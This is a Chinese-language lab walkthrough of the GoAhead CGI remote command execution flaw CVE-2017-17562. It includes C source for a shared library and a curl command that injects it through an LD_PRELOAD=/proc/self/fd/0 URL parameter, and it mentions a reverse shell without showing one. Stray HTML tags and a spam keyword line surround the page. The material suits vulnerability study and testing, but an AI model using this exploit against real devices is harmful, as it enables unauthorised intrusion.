<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    GoAhead 遠程命令執行漏洞(CVE-2017-17562)

    Path goahead/CVE-2017-17562

    GoAhead是一個開源(商業許可)、簡單、輕巧、功能強大、可以在多個平臺運行的Web Server,多用于嵌入式系統、智能設備。其支持運行ASP、Javascript和標準的CGI程序,這個漏洞就出現在運行CGI程序的時候。

    GoAhead在接收到請求后,將會從URL參數中取出鍵和值注冊進CGI程序的環境變量,且只過濾了REMOTE_HOSTHTTP_AUTHORIZATION。我們能夠控制環境變量,就有很多攻擊方式。比如在Linux中,LD_開頭的環境變量和動態鏈接庫有關,如LD_PRELOAD中指定的動態鏈接庫,將會被自動加載;LD_LIBRARY_PATH指定的路徑,程序會去其中尋找動態鏈接庫。

    我們可以指定LD_PRELOAD=/proc/self/fd/0,因為/proc/self/fd/0是標準輸入,而在CGI程序中,POST數據流即為標準輸入流。我們編譯一個動態鏈接庫,將其放在POST Body中,發送給http://target/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0,CGI就會加載我們發送的動態鏈接庫,造成遠程命令執行漏洞。

    參考鏈接:

    漏洞環境

    啟動漏洞環境:

    docker-compose up -d

    啟動完成后,訪問http://your-ip:8080/即可看到歡迎頁面。訪問http://your-ip:8080/cgi-bin/index即可查看到Hello頁面,即為CGI執行的結果。

    漏洞復現

    我們首先需要編譯一個動態鏈接庫,而且需要和目標架構相同。所以在實戰中,如果對方是一個智能設備,你可能需要交叉編譯。因為Vulhub運行在Linux x86_64的機器中,所以我們直接用Linux PC編譯即可。動態鏈接庫源碼:

    #include <unistd.h>
    
    static void before_main(void) __attribute__((constructor));
    
    static void before_main(void)
    {
        write(1, "Hello: World!\n", 14);
    }

    這樣,before_main函數將在程序執行前被調用。編譯以上代碼:

    gcc -shared -fPIC ./payload.c -o payload.so

    將payload.so作為post body發送:

    curl -X POST --data-binary @payload.so "http://your-ip:8080/cgi-bin/index?LD_PRELOAD=/proc/self/fd/0" -i 

    可見,Hello: world!已被成功輸出,說明我們的動態鏈接庫中的代碼已被執行:

    編譯一個反彈shell的代碼,成功反彈shell:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类